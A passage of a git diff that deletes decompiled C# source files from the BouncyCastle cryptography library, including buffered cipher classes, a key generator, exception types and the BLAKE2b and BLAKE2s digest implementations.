this.cipher = cipher; - } - - internal int GetBufferPosition() - { - return bufOff; - } - - public override int GetBlockSize() - { - return cipher.GetInputBlockSize(); - } - - public override int GetOutputSize(int length) - { - return cipher.GetOutputBlockSize(); - } - - public override int GetUpdateOutputSize(int length) - { - return 0; - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - Reset(); - cipher.Init(forEncryption, parameters); - buffer = new byte[cipher.GetInputBlockSize() + (forEncryption ? 1 : 0)]; - bufOff = 0; - } - - public override byte[] ProcessByte(byte input) - { - if (bufOff >= buffer.Length) - { - throw new DataLengthException("attempt to process message to long for cipher"); - } - buffer[bufOff++] = input; - return null; - } - - public override byte[] ProcessBytes(byte[] input, int inOff, int length) - { - if (length < 1) - { - return null; - } - if (input == null) - { - throw new ArgumentNullException("input"); - } - if (bufOff + length > buffer.Length) - { - throw new DataLengthException("attempt to process message to long for cipher"); - } - Array.Copy(input, inOff, buffer, bufOff, length); - bufOff += length; - return null; - } - - public override byte[] DoFinal() - { - byte[] result = ((bufOff > 0) ? cipher.ProcessBlock(buffer, 0, bufOff) : BufferedCipherBase.EmptyBuffer); - Reset(); - return result; - } - - public override byte[] DoFinal(byte[] input, int inOff, int length) - { - ProcessBytes(input, inOff, length); - return DoFinal(); - } - - public override void Reset() - { - if (buffer != null) - { - Array.Clear(buffer, 0, buffer.Length); - bufOff = 0; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedBlockCipher.cs deleted file mode 100644 index b3030a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedBlockCipher.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto; - -public class BufferedBlockCipher : BufferedCipherBase -{ - internal byte[] buf; - - internal int bufOff; - - internal bool forEncryption; - - internal IBlockCipher cipher; - - public override string AlgorithmName => cipher.AlgorithmName; - - protected BufferedBlockCipher() - { - } - - public BufferedBlockCipher(IBlockCipher cipher) - { - if (cipher == null) - { - throw new ArgumentNullException("cipher"); - } - this.cipher = cipher; - buf = new byte[cipher.GetBlockSize()]; - bufOff = 0; - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - if (parameters is ParametersWithRandom parametersWithRandom) - { - parameters = parametersWithRandom.Parameters; - } - Reset(); - cipher.Init(forEncryption, parameters); - } - - public override int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public override int GetUpdateOutputSize(int length) - { - int num = length + bufOff; - int num2 = num % buf.Length; - return num - num2; - } - - public override int GetOutputSize(int length) - { - return length + bufOff; - } - - public override int ProcessByte(byte input, byte[] output, int outOff) - { - buf[bufOff++] = input; - if (bufOff == buf.Length) - { - if (outOff + buf.Length > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - bufOff = 0; - return cipher.ProcessBlock(buf, 0, output, outOff); - } - return 0; - } - - public override byte[] ProcessByte(byte input) - { - int updateOutputSize = GetUpdateOutputSize(1); - byte[] array = ((updateOutputSize > 0) ? new byte[updateOutputSize] : null); - int num = ProcessByte(input, array, 0); - if (updateOutputSize > 0 && num < updateOutputSize) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override byte[] ProcessBytes(byte[] input, int inOff, int length) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - if (length < 1) - { - return null; - } - int updateOutputSize = GetUpdateOutputSize(length); - byte[] array = ((updateOutputSize > 0) ? new byte[updateOutputSize] : null); - int num = ProcessBytes(input, inOff, length, array, 0); - if (updateOutputSize > 0 && num < updateOutputSize) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - return array; - } - - public override int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - if (length < 1) - { - if (length < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - return 0; - } - int blockSize = GetBlockSize(); - int updateOutputSize = GetUpdateOutputSize(length); - if (updateOutputSize > 0) - { - Check.OutputLength(output, outOff, updateOutputSize, "output buffer too short"); - } - int num = 0; - int num2 = buf.Length - bufOff; - if (length > num2) - { - Array.Copy(input, inOff, buf, bufOff, num2); - num += cipher.ProcessBlock(buf, 0, output, outOff); - bufOff = 0; - length -= num2; - inOff += num2; - while (length > buf.Length) - { - num += cipher.ProcessBlock(input, inOff, output, outOff + num); - length -= blockSize; - inOff += blockSize; - } - } - Array.Copy(input, inOff, buf, bufOff, length); - bufOff += length; - if (bufOff == buf.Length) - { - num += cipher.ProcessBlock(buf, 0, output, outOff + num); - bufOff = 0; - } - return num; - } - - public override byte[] DoFinal() - { - byte[] array = BufferedCipherBase.EmptyBuffer; - int outputSize = GetOutputSize(0); - if (outputSize > 0) - { - array = new byte[outputSize]; - int num = DoFinal(array, 0); - if (num < array.Length) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - } - else - { - Reset(); - } - return array; - } - - public override byte[] DoFinal(byte[] input, int inOff, int inLen) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - int outputSize = GetOutputSize(inLen); - byte[] array = BufferedCipherBase.EmptyBuffer; - if (outputSize > 0) - { - array = new byte[outputSize]; - int num = ((inLen > 0) ? ProcessBytes(input, inOff, inLen, array, 0) : 0); - num += DoFinal(array, num); - if (num < array.Length) - { - byte[] array2 = new byte[num]; - Array.Copy(array, 0, array2, 0, num); - array = array2; - } - } - else - { - Reset(); - } - return array; - } - - public override int DoFinal(byte[] output, int outOff) - { - try - { - if (bufOff != 0) - { - Check.DataLength(!cipher.IsPartialBlockOkay, "data not block size aligned"); - Check.OutputLength(output, outOff, bufOff, "output buffer too short for DoFinal()"); - cipher.ProcessBlock(buf, 0, buf, 0); - Array.Copy(buf, 0, output, outOff, bufOff); - } - return bufOff; - } - finally - { - Reset(); - } - } - - public override void Reset() - { - Array.Clear(buf, 0, buf.Length); - bufOff = 0; - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedCipherBase.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedCipherBase.cs deleted file mode 100644 index 1be2280..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedCipherBase.cs +++ /dev/null @@ -1,93 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public abstract class BufferedCipherBase : IBufferedCipher -{ - protected static readonly byte[] EmptyBuffer = new byte[0]; - - public abstract string AlgorithmName { get; } - - public abstract void Init(bool forEncryption, ICipherParameters parameters); - - public abstract int GetBlockSize(); - - public abstract int GetOutputSize(int inputLen); - - public abstract int GetUpdateOutputSize(int inputLen); - - public abstract byte[] ProcessByte(byte input); - - public virtual int ProcessByte(byte input, byte[] output, int outOff) - { - byte[] array = ProcessByte(input); - if (array == null) - { - return 0; - } - if (outOff + array.Length > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - array.CopyTo(output, outOff); - return array.Length; - } - - public virtual byte[] ProcessBytes(byte[] input) - { - return ProcessBytes(input, 0, input.Length); - } - - public abstract byte[] ProcessBytes(byte[] input, int inOff, int length); - - public virtual int ProcessBytes(byte[] input, byte[] output, int outOff) - { - return ProcessBytes(input, 0, input.Length, output, outOff); - } - - public virtual int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - byte[] array = ProcessBytes(input, inOff, length); - if (array == null) - { - return 0; - } - if (outOff + array.Length > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - array.CopyTo(output, outOff); - return array.Length; - } - - public abstract byte[] DoFinal(); - - public virtual byte[] DoFinal(byte[] input) - { - return DoFinal(input, 0, input.Length); - } - - public abstract byte[] DoFinal(byte[] input, int inOff, int length); - - public virtual int DoFinal(byte[] output, int outOff) - { - byte[] array = DoFinal(); - if (outOff + array.Length > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - array.CopyTo(output, outOff); - return array.Length; - } - - public virtual int DoFinal(byte[] input, byte[] output, int outOff) - { - return DoFinal(input, 0, input.Length, output, outOff); - } - - public virtual int DoFinal(byte[] input, int inOff, int length, byte[] output, int outOff) - { - int num = ProcessBytes(input, inOff, length, output, outOff); - return num + DoFinal(output, outOff + num); - } - - public abstract void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedIesCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedIesCipher.cs deleted file mode 100644 index bd19bc7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedIesCipher.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto; - -public class BufferedIesCipher : BufferedCipherBase -{ - private readonly IesEngine engine; - - private bool forEncryption; - - private MemoryStream buffer = new MemoryStream(); - - public override string AlgorithmName => "IES"; - - public BufferedIesCipher(IesEngine engine) - { - if (engine == null) - { - throw new ArgumentNullException("engine"); - } - this.engine = engine; - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - throw Platform.CreateNotImplementedException("IES"); - } - - public override int GetBlockSize() - { - return 0; - } - - public override int GetOutputSize(int inputLen) - { - if (engine == null) - { - throw new InvalidOperationException("cipher not initialised"); - } - int num = inputLen + (int)buffer.Length; - if (!forEncryption) - { - return num - 20; - } - return num + 20; - } - - public override int GetUpdateOutputSize(int inputLen) - { - return 0; - } - - public override byte[] ProcessByte(byte input) - { - buffer.WriteByte(input); - return null; - } - - public override byte[] ProcessBytes(byte[] input, int inOff, int length) - { - if (input == null) - { - throw new ArgumentNullException("input"); - } - if (inOff < 0) - { - throw new ArgumentException("inOff"); - } - if (length < 0) - { - throw new ArgumentException("length"); - } - if (inOff + length > input.Length) - { - throw new ArgumentException("invalid offset/length specified for input array"); - } - buffer.Write(input, inOff, length); - return null; - } - - public override byte[] DoFinal() - { - byte[] array = buffer.ToArray(); - Reset(); - return engine.ProcessBlock(array, 0, array.Length); - } - - public override byte[] DoFinal(byte[] input, int inOff, int length) - { - ProcessBytes(input, inOff, length); - return DoFinal(); - } - - public override void Reset() - { - buffer.SetLength(0L); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedStreamCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedStreamCipher.cs deleted file mode 100644 index a5ed85c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/BufferedStreamCipher.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto; - -public class BufferedStreamCipher : BufferedCipherBase -{ - private readonly IStreamCipher cipher; - - public override string AlgorithmName => cipher.AlgorithmName; - - public BufferedStreamCipher(IStreamCipher cipher) - { - if (cipher == null) - { - throw new ArgumentNullException("cipher"); - } - this.cipher = cipher; - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - cipher.Init(forEncryption, parameters); - } - - public override int GetBlockSize() - { - return 0; - } - - public override int GetOutputSize(int inputLen) - { - return inputLen; - } - - public override int GetUpdateOutputSize(int inputLen) - { - return inputLen; - } - - public override byte[] ProcessByte(byte input) - { - return new byte[1] { cipher.ReturnByte(input) }; - } - - public override int ProcessByte(byte input, byte[] output, int outOff) - { - if (outOff >= output.Length) - { - throw new DataLengthException("output buffer too short"); - } - output[outOff] = cipher.ReturnByte(input); - return 1; - } - - public override byte[] ProcessBytes(byte[] input, int inOff, int length) - { - if (length < 1) - { - return null; - } - byte[] array = new byte[length]; - cipher.ProcessBytes(input, inOff, length, array, 0); - return array; - } - - public override int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - if (length < 1) - { - return 0; - } - if (length > 0) - { - cipher.ProcessBytes(input, inOff, length, output, outOff); - } - return length; - } - - public override byte[] DoFinal() - { - Reset(); - return BufferedCipherBase.EmptyBuffer; - } - - public override byte[] DoFinal(byte[] input, int inOff, int length) - { - if (length < 1) - { - return BufferedCipherBase.EmptyBuffer; - } - byte[] result = ProcessBytes(input, inOff, length); - Reset(); - return result; - } - - public override void Reset() - { - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Check.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Check.cs deleted file mode 100644 index f3a3d0e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Check.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -internal class Check -{ - internal static void DataLength(bool condition, string msg) - { - if (condition) - { - throw new DataLengthException(msg); - } - } - - internal static void DataLength(byte[] buf, int off, int len, string msg) - { - if (off + len > buf.Length) - { - throw new DataLengthException(msg); - } - } - - internal static void OutputLength(byte[] buf, int off, int len, string msg) - { - if (off + len > buf.Length) - { - throw new OutputLengthException(msg); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CipherKeyGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CipherKeyGenerator.cs deleted file mode 100644 index 833f6a4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CipherKeyGenerator.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto; - -public class CipherKeyGenerator -{ - protected internal SecureRandom random; - - protected internal int strength; - - private bool uninitialised = true; - - private int defaultStrength; - - public int DefaultStrength => defaultStrength; - - public CipherKeyGenerator() - { - } - - internal CipherKeyGenerator(int defaultStrength) - { - if (defaultStrength < 1) - { - throw new ArgumentException("strength must be a positive value", "defaultStrength"); - } - this.defaultStrength = defaultStrength; - } - - public void Init(KeyGenerationParameters parameters) - { - if (parameters == null) - { - throw new ArgumentNullException("parameters"); - } - uninitialised = false; - engineInit(parameters); - } - - protected virtual void engineInit(KeyGenerationParameters parameters) - { - random = parameters.Random; - strength = (parameters.Strength + 7) / 8; - } - - public byte[] GenerateKey() - { - if (uninitialised) - { - if (defaultStrength < 1) - { - throw new InvalidOperationException("Generator has not been initialised"); - } - uninitialised = false; - engineInit(new KeyGenerationParameters(new SecureRandom(), defaultStrength)); - } - return engineGenerateKey(); - } - - protected virtual byte[] engineGenerateKey() - { - return SecureRandom.GetNextBytes(random, strength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CryptoException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CryptoException.cs deleted file mode 100644 index 08e61ca..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/CryptoException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -[Serializable] -public class CryptoException : Exception -{ - public CryptoException() - { - } - - public CryptoException(string message) - : base(message) - { - } - - public CryptoException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/DataLengthException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/DataLengthException.cs deleted file mode 100644 index 9a7866a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/DataLengthException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -[Serializable] -public class DataLengthException : CryptoException -{ - public DataLengthException() - { - } - - public DataLengthException(string message) - : base(message) - { - } - - public DataLengthException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2bDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2bDigest.cs deleted file mode 100644 index 85382da..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2bDigest.cs +++ /dev/null @@ -1,398 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Blake2bDigest : IDigest -{ - private const int ROUNDS = 12; - - private const int BLOCK_LENGTH_BYTES = 128; - - private static readonly ulong[] blake2b_IV = new ulong[8] { 7640891576956012808uL, 13503953896175478587uL, 4354685564936845355uL, 11912009170470909681uL, 5840696475078001361uL, 11170449401992604703uL, 2270897969802886507uL, 6620516959819538809uL }; - - private static readonly byte[,] blake2b_sigma = new byte[12, 16] - { - { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - 10, 11, 12, 13, 14, 15 - }, - { - 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, - 0, 2, 11, 7, 5, 3 - }, - { - 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, - 3, 6, 7, 1, 9, 4 - }, - { - 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, - 5, 10, 4, 0, 15, 8 - }, - { - 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, - 11, 12, 6, 8, 3, 13 - }, - { - 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, - 7, 5, 15, 14, 1, 9 - }, - { - 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, - 6, 3, 9, 2, 8, 11 - }, - { - 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, - 15, 4, 8, 6, 2, 10 - }, - { - 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, - 13, 7, 1, 4, 10, 5 - }, - { - 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, - 9, 14, 3, 12, 13, 0 - }, - { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - 10, 11, 12, 13, 14, 15 - }, - { - 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, - 0, 2, 11, 7, 5, 3 - } - }; - - private int digestLength = 64; - - private int keyLength = 0; - - private byte[] salt = null; - - private byte[] personalization = null; - - private byte[] key = null; - - private byte[] buffer = null; - - private int bufferPos = 0; - - private ulong[] internalState = new ulong[16]; - - private ulong[] chainValue = null; - - private ulong t0 = 0uL; - - private ulong t1 = 0uL; - - private ulong f0 = 0uL; - - public virtual string AlgorithmName => "BLAKE2b"; - - public Blake2bDigest() - : this(512) - { - } - - public Blake2bDigest(Blake2bDigest digest) - { - bufferPos = digest.bufferPos; - buffer = Arrays.Clone(digest.buffer); - keyLength = digest.keyLength; - key = Arrays.Clone(digest.key); - digestLength = digest.digestLength; - chainValue = Arrays.Clone(digest.chainValue); - personalization = Arrays.Clone(digest.personalization); - salt = Arrays.Clone(digest.salt); - t0 = digest.t0; - t1 = digest.t1; - f0 = digest.f0; - } - - public Blake2bDigest(int digestSize) - { - if (digestSize < 8 || digestSize > 512 || digestSize % 8 != 0) - { - throw new ArgumentException("BLAKE2b digest bit length must be a multiple of 8 and not greater than 512"); - } - buffer = new byte[128]; - keyLength = 0; - digestLength = digestSize / 8; - Init(); - } - - public Blake2bDigest(byte[] key) - { - buffer = new byte[128]; - if (key != null) - { - this.key = new byte[key.Length]; - Array.Copy(key, 0, this.key, 0, key.Length); - if (key.Length > 64) - { - throw new ArgumentException("Keys > 64 are not supported"); - } - keyLength = key.Length; - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 128; - } - digestLength = 64; - Init(); - } - - public Blake2bDigest(byte[] key, int digestLength, byte[] salt, byte[] personalization) - { - if (digestLength < 1 || digestLength > 64) - { - throw new ArgumentException("Invalid digest length (required: 1 - 64)"); - } - this.digestLength = digestLength; - buffer = new byte[128]; - if (salt != null) - { - if (salt.Length != 16) - { - throw new ArgumentException("salt length must be exactly 16 bytes"); - } - this.salt = new byte[16]; - Array.Copy(salt, 0, this.salt, 0, salt.Length); - } - if (personalization != null) - { - if (personalization.Length != 16) - { - throw new ArgumentException("personalization length must be exactly 16 bytes"); - } - this.personalization = new byte[16]; - Array.Copy(personalization, 0, this.personalization, 0, personalization.Length); - } - if (key != null) - { - if (key.Length > 64) - { - throw new ArgumentException("Keys > 64 are not supported"); - } - this.key = new byte[key.Length]; - Array.Copy(key, 0, this.key, 0, key.Length); - keyLength = key.Length; - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 128; - } - Init(); - } - - private void Init() - { - if (chainValue == null) - { - chainValue = new ulong[8]; - chainValue[0] = blake2b_IV[0] ^ (ulong)(digestLength | (keyLength << 8) | 0x1010000); - chainValue[1] = blake2b_IV[1]; - chainValue[2] = blake2b_IV[2]; - chainValue[3] = blake2b_IV[3]; - chainValue[4] = blake2b_IV[4]; - chainValue[5] = blake2b_IV[5]; - if (salt != null) - { - ulong[] array; - (array = chainValue)[4] = array[4] ^ Pack.LE_To_UInt64(salt, 0); - (array = chainValue)[5] = array[5] ^ Pack.LE_To_UInt64(salt, 8); - } - chainValue[6] = blake2b_IV[6]; - chainValue[7] = blake2b_IV[7]; - if (personalization != null) - { - ulong[] array; - (array = chainValue)[6] = array[6] ^ Pack.LE_To_UInt64(personalization, 0); - (array = chainValue)[7] = array[7] ^ Pack.LE_To_UInt64(personalization, 8); - } - } - } - - private void InitializeInternalState() - { - Array.Copy(chainValue, 0, internalState, 0, chainValue.Length); - Array.Copy(blake2b_IV, 0, internalState, chainValue.Length, 4); - internalState[12] = t0 ^ blake2b_IV[4]; - internalState[13] = t1 ^ blake2b_IV[5]; - internalState[14] = f0 ^ blake2b_IV[6]; - internalState[15] = blake2b_IV[7]; - } - - public virtual void Update(byte b) - { - int num = 0; - if (128 - bufferPos == 0) - { - t0 += 128uL; - if (t0 == 0) - { - t1++; - } - Compress(buffer, 0); - Array.Clear(buffer, 0, buffer.Length); - buffer[0] = b; - bufferPos = 1; - } - else - { - buffer[bufferPos] = b; - bufferPos++; - } - } - - public virtual void BlockUpdate(byte[] message, int offset, int len) - { - if (message == null || len == 0) - { - return; - } - int num = 0; - if (bufferPos != 0) - { - num = 128 - bufferPos; - if (num >= len) - { - Array.Copy(message, offset, buffer, bufferPos, len); - bufferPos += len; - return; - } - Array.Copy(message, offset, buffer, bufferPos, num); - t0 += 128uL; - if (t0 == 0) - { - t1++; - } - Compress(buffer, 0); - bufferPos = 0; - Array.Clear(buffer, 0, buffer.Length); - } - int num2 = offset + len - 128; - int i; - for (i = offset + num; i < num2; i += 128) - { - t0 += 128uL; - if (t0 == 0) - { - t1++; - } - Compress(message, i); - } - Array.Copy(message, i, buffer, 0, offset + len - i); - bufferPos += offset + len - i; - } - - public virtual int DoFinal(byte[] output, int outOffset) - { - f0 = ulong.MaxValue; - t0 += (ulong)bufferPos; - if (bufferPos > 0 && t0 == 0) - { - t1++; - } - Compress(buffer, 0); - Array.Clear(buffer, 0, buffer.Length); - Array.Clear(internalState, 0, internalState.Length); - for (int i = 0; i < chainValue.Length && i * 8 < digestLength; i++) - { - byte[] sourceArray = Pack.UInt64_To_LE(chainValue[i]); - if (i * 8 < digestLength - 8) - { - Array.Copy(sourceArray, 0, output, outOffset + i * 8, 8); - } - else - { - Array.Copy(sourceArray, 0, output, outOffset + i * 8, digestLength - i * 8); - } - } - Array.Clear(chainValue, 0, chainValue.Length); - Reset(); - return digestLength; - } - - public virtual void Reset() - { - bufferPos = 0; - f0 = 0uL; - t0 = 0uL; - t1 = 0uL; - chainValue = null; - Array.Clear(buffer, 0, buffer.Length); - if (key != null) - { - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 128; - } - Init(); - } - - private void Compress(byte[] message, int messagePos) - { - InitializeInternalState(); - ulong[] array = new ulong[16]; - for (int i = 0; i < 16; i++) - { - array[i] = Pack.LE_To_UInt64(message, messagePos + i * 8); - } - for (int j = 0; j < 12; j++) - { - G(array[blake2b_sigma[j, 0]], array[blake2b_sigma[j, 1]], 0, 4, 8, 12); - G(array[blake2b_sigma[j, 2]], array[blake2b_sigma[j, 3]], 1, 5, 9, 13); - G(array[blake2b_sigma[j, 4]], array[blake2b_sigma[j, 5]], 2, 6, 10, 14); - G(array[blake2b_sigma[j, 6]], array[blake2b_sigma[j, 7]], 3, 7, 11, 15); - G(array[blake2b_sigma[j, 8]], array[blake2b_sigma[j, 9]], 0, 5, 10, 15); - G(array[blake2b_sigma[j, 10]], array[blake2b_sigma[j, 11]], 1, 6, 11, 12); - G(array[blake2b_sigma[j, 12]], array[blake2b_sigma[j, 13]], 2, 7, 8, 13); - G(array[blake2b_sigma[j, 14]], array[blake2b_sigma[j, 15]], 3, 4, 9, 14); - } - for (int k = 0; k < chainValue.Length; k++) - { - chainValue[k] = chainValue[k] ^ internalState[k] ^ internalState[k + 8]; - } - } - - private void G(ulong m1, ulong m2, int posA, int posB, int posC, int posD) - { - internalState[posA] = internalState[posA] + internalState[posB] + m1; - internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 32); - internalState[posC] += internalState[posD]; - internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 24); - internalState[posA] = internalState[posA] + internalState[posB] + m2; - internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 16); - internalState[posC] += internalState[posD]; - internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 63); - } - - private static ulong Rotr64(ulong x, int rot) - { - return (x >> rot) | (x << -rot); - } - - public virtual int GetDigestSize() - { - return digestLength; - } - - public virtual int GetByteLength() - { - return 128; - } - - public virtual void ClearKey() - { - if (key != null) - { - Array.Clear(key, 0, key.Length); - Array.Clear(buffer, 0, buffer.Length); - } - } - - public virtual void ClearSalt() - { - if (salt != null) - { - Array.Clear(salt, 0, salt.Length); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2sDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2sDigest.cs deleted file mode 100644 index 78c724a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Blake2sDigest.cs +++ /dev/null @@ -1,385 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Blake2sDigest : IDigest -{ - private const int ROUNDS = 10; - - private const int BLOCK_LENGTH_BYTES = 64; - - private static readonly uint[] blake2s_IV = new uint[8] { 1779033703u, 3144134277u, 1013904242u, 2773480762u, 1359893119u, 2600822924u, 528734635u, 1541459225u }; - - private static readonly byte[,] blake2s_sigma = new byte[10, 16] - { - { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - 10, 11, 12, 13, 14, 15 - }, - { - 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, - 0, 2, 11, 7, 5, 3 - }, - { - 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, - 3, 6, 7, 1, 9, 4 - }, - { - 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, - 5, 10, 4, 0, 15, 8 - }, - { - 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, - 11, 12, 6, 8, 3, 13 - }, - { - 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, - 7, 5, 15, 14, 1, 9 - }, - { - 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, - 6, 3, 9, 2, 8, 11 - }, - { - 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, - 15, 4, 8, 6, 2, 10 - }, - { - 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, - 13, 7, 1, 4, 10, 5 - }, - { - 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, - 9, 14, 3, 12, 13, 0 - } - }; - - private int digestLength = 32; - - private int keyLength = 0; - - private byte[] salt = null; - - private byte[] personalization = null; - - private byte[] key = null; - - private byte[] buffer = null; - - private int bufferPos = 0; - - private uint[] internalState = new uint[16]; - - private uint[] chainValue = null; - - private uint t0 = 0u; - - private uint t1 = 0u; - - private uint f0 = 0u; - - public virtual string AlgorithmName => "BLAKE2s"; - - public Blake2sDigest() - : this(256) - { - } - - public Blake2sDigest(Blake2sDigest digest) - { - bufferPos = digest.bufferPos; - buffer = Arrays.Clone(digest.buffer); - keyLength = digest.keyLength; - key = Arrays.Clone(digest.key); - digestLength = digest.digestLength; - chainValue = Arrays.Clone(digest.chainValue); - personalization = Arrays.Clone(digest.personalization); - } - - public Blake2sDigest(int digestBits) - { - if (digestBits < 8 || digestBits > 256 || digestBits % 8 != 0) - { - throw new ArgumentException("BLAKE2s digest bit length must be a multiple of 8 and not greater than 256"); - } - buffer = new byte[64]; - keyLength = 0; - digestLength = digestBits / 8; - Init(); - } - - public Blake2sDigest(byte[] key) - { - buffer = new byte[64]; - if (key != null) - { - if (key.Length > 32) - { - throw new ArgumentException("Keys > 32 are not supported"); - } - this.key = new byte[key.Length]; - Array.Copy(key, 0, this.key, 0, key.Length); - keyLength = key.Length; - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 64; - } - digestLength = 32; - Init(); - } - - public Blake2sDigest(byte[] key, int digestBytes, byte[] salt, byte[] personalization) - { - if (digestBytes < 1 || digestBytes > 32) - { - throw new ArgumentException("Invalid digest length (required: 1 - 32)"); - } - digestLength = digestBytes; - buffer = new byte[64]; - if (salt != null) - { - if (salt.Length != 8) - { - throw new ArgumentException("Salt length must be 